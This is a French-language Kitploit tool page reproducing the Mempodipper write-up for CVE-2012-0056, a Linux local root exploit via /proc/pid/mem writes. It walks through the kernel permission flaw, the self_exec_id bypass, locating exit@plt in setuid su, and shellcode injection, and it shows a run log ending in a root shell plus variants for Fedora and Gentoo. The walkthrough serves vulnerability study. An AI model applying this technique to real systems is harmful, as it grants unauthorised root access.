Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2012-0056 — Élévation de privilèges Linux | Kitploit
Outils/GitHubGitHub/pythonone/cve-2012-0056
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationShellcodeApprentissage et ÉducationExploitation de Binaires
GitHubpythonone/cve-2012-0056

CVE-2012-0056

Élévation de privilèges Linux

Voir le dépôt
1610il y a 10 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Escalade de privilèges locale Linux via écriture SUID /proc/pid/mem

Mempodipper

Présentation de Mempodipper, un exploit pour CVE-2012-0056. /proc/pid/mem est une interface pour lire et écrire, directement, la mémoire des processus en se déplaçant avec les mêmes adresses que l'espace mémoire virtuel du processus. Dans la version 2.6.39, les protections contre l'accès non autorisé à /proc/pid/mem ont été jugées suffisantes, et ainsi le #ifdef précédent qui empêchait l'écriture dans la mémoire arbitraire du processus a été supprimé. Toute personne disposant des bonnes autorisations pouvait écrire dans la mémoire du processus. Il s'est avéré, bien sûr, que la vérification des autorisations était mal faite. Cela signifie que tous les noyaux Linux >=2.6.39 sont vulnérables, jusqu'au commit de correction il y a quelques jours. Prenons l'ancien code du noyau étape par étape et découvrons ce qui cloche.

Lorsque /proc/pid/mem est ouvert, ce code du noyau est appelé :

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

Il n'y a aucune restriction à l'ouverture ; n'importe qui peut ouvrir le fd /proc/pid/mem pour n'importe quel processus (sous réserve des restrictions VFS ordinaires). Il enregistre simplement le self_exec_id du processus d'origine avec lequel il a été ouvert et le conserve pour une vérification ultérieure lors des lectures et écritures.

Les écritures (et lectures), cependant, ont des restrictions de vérification d'autorisations. Examinons la fonction d'écriture :

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* unimportant code removed for blog post */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* unimportant code removed for blog post */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* unimportant code removed for blog post */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */	

Il y a donc deux vérifications pertinentes en place pour empêcher les écritures non autorisées : check_mem_permission et self_exec_id. Commençons par la première, puis la seconde.

Le code de check_mem_permission appelle simplement __check_mem_permission, voici donc le code de celle-ci :

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;

	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

Il y a deux manières dont l'écriture mémoire est autorisée. Soit task == current, ce qui signifie que le processus en cours d'écriture est celui qui écrit, soit current (le processus qui écrit) dispose d'autorisations esotériques de niveau ptrace pour jouer avec task (le processus en cours d'écriture). Peut-être pensez-vous pouvoir tromper le code ptrace ? C'est tentant. Mais je ne sais pas. Essayons plutôt de comprendre comment faire en sorte qu'un processus écrive de la mémoire arbitraire sur lui-même, de sorte que task == current.

Naturellement, nous voulons écrire dans la mémoire des processus suid, car nous pouvons alors obtenir root. Regardez ceci :

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su affichera n'importe quel texte que vous voulez sur stderr, précédé de "Unknown id:". Ainsi, nous pouvons ouvrir un fd vers /proc/self/mem, lseek au bon endroit en mémoire pour l'écriture (plus d'informations plus tard), utiliser dup2 pour coupler stderr et le fd mem, puis exec vers su $shellcode pour écrire un générateur de shell dans la mémoire du processus, et nous avons alors root. Vraiment ? Pas si facile.

C'est là qu'intervient l'autre restriction. Après avoir passé le test task == current, il vérifie ensuite si le self_exec_id actuel correspond au self_exec_id avec lequel le fd a été ouvert. Qu'est-ce que self_exec_id ? Il n'est référencé qu'à quelques endroits dans le noyau. Le plus important se trouve justement à l'intérieur de exec :

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */

	/* An exec changes our domain. We are no longer part of the thread
	   group */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id est incrémenté à chaque fois qu'un processus exécute un exec. Dans ce cas, il fonctionne de manière à ce que vous ne puissiez pas ouvrir le fd dans un processus non-suid, dup2, puis exec vers un processus suid... c'est exactement ce que nous essayions de faire ci-dessus. Une façon assez astucieuse de contrer notre attaque, n'est-ce pas ?

Voici comment contourner cela. Nous forkon un enfant, et à l'intérieur de cet enfant, nous exec vers un nouveau processus. Le fork enfant initial a un self_exec_id égal à celui de son parent. Lorsque nous exec vers un nouveau processus, self_exec_id s'incrémente de un. Pendant ce temps, le parent lui-même est occupé à exec vers notre processus su d'écriture de shellcode, donc son self_exec_id est incrémenté à la même valeur. Ce que nous faisons donc, c'est que nous faisons fork et exec cet enfant vers un nouveau processus, et à l'intérieur de ce nouveau processus, nous ouvrons un fd vers /proc/parent-pid/mem en utilisant le pid du processus parent, pas notre propre processus (comme c'était le cas auparavant). Nous pouvons ouvrir le fd de cette manière car il n'y a pas de vérification d'autorisations pour une simple ouverture. Lorsqu'il est ouvert, son self_exec_id a déjà été incrémenté à la bonne valeur que le self_exec_id du parent aura lorsque nous exec vers su. Enfin, nous passons notre fd ouvert du processus enfant au processus parent (en utilisant une magie très obscure des sockets de domaine Unix), effectuons notre dup2, et exec dans su avec le code shell.

Il reste une objection. Où écrivons-nous ? Nous devons lseek à l'emplacement mémoire approprié avant d'écrire, et ASLR randomise les espaces d'adressage des processus, ce qui rend impossible de savoir où écrire. Devrions-nous passer du temps à chercher plus d'astuces pour lire la mémoire des processus, puis effectuer une recherche ? Non. Regardez ceci :

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

Cela signifie que su n'a pas de section .text relogeable (sinon il afficherait "DYN" au lieu de "EXEC"). Il s'avère que su sur la grande majorité des distributions n'est pas compilé avec PIE, désactivant ASLR pour la section .text du binaire ! Nous avons donc bien choisi su. Les décalages en mémoire seront toujours les mêmes. Donc, pour trouver le bon endroit où écrire, examinons l'assemblage autour du message d'erreur "Unknown id: blabla".

Il récupère la chaîne d'erreur ici :

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

Et l'écrit sur stderr :

root@kitploit:~
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Ferme le journal :

root@kitploit:~
  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

Et quitte le programme :

root@kitploit:~
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

Nous voulons donc utiliser 0x402178, qui est la fonction exit qu'il appelle. Nous pouvons, dans un exploit, automatiser la recherche du symbole exit@plt avec un simple one-liner bash :

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

Ainsi, nous voulons écrire à 0x402178 moins le nombre de lettres dans la chaîne "Unknown id: ", de sorte que notre shellcode soit placé exactement au bon endroit.

Le shellcode doit être simple et standard. Il définit le uid et le gid à 0 et exec vers un shell. Si nous voulons être astucieux, nous pouvons rouvrir stderr en, avant de dup2 le fd mémoire vers stderr, choisir un autre fd pour dupliquer stderr, puis dans le shellcode, dup2 cet autre fd en arrière vers stderr.

Au final, l'exploit fonctionne parfaitement avec une fiabilité totale :

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

Vous pouvez regarder une vidéo de son fonctionnement.

Merci à Dan Rosenberg pour ses conseils et son soutien continus. Je ne publie actuellement aucun code source, car Linus ne l'a corrigé que très récemment. Après un délai raisonnable ou si quelqu'un d'autre le fait en premier, je publierai. Si vous êtes un étudiant qui essaie d'apprendre ou avez d'autres raisons légitimes, nous pouvons en discuter.

Mise à jour : il semble que, ironiquement, basé sur cet article de blog, d'autres personnes ont créé des exploits et les ont publiés. Alors, voici le mien. J'ai écrit le shellcode pour 32 bits et 64 bits à la main. Profitez-en !

Mise à jour 2 : il s'avère que Fedora compile très judicieusement son su avec PIE, ce qui contrecarre cette attaque. Malheureusement, ils ne compilent pas tous leurs binaires SUID avec PIE, et donc cette attaque est toujours possible avec, par exemple, gpasswd. Le code pour ce faire se trouve dans la branche "fedora" du dépôt git, et une démonstration vidéo est également disponible.

Mise à jour 3 : Gentoo est assez intelligent pour supprimer les permissions de lecture sur les binaires SUID, rendant impossible la recherche du décalage exit@plt à l'aide de objdump. J'ai déterminé une autre façon de faire, en utilisant ptrace. Ptrace permet le débogage de n'importe quel programme en mémoire. Pour les programmes SUID, ptracer perdra ses privilèges, mais ce n'est pas grave, car nous voulons simplement trouver les emplacements mémoire internes. En analysant l'opcode du binaire au bon moment, nous pouvons déchiffrer l'adresse cible de l'appel suivant après l'affichage du message d'erreur. J'ai créé un utilitaire autonome qui renvoie le décalage, ainsi que son intégration dans la source principale de mempodipper.

{Comme toujours, ce travail est strictement académique et n'est pas destiné à être utilisé au-delà de la recherche et de l'éducation.}

Télécharger l’outil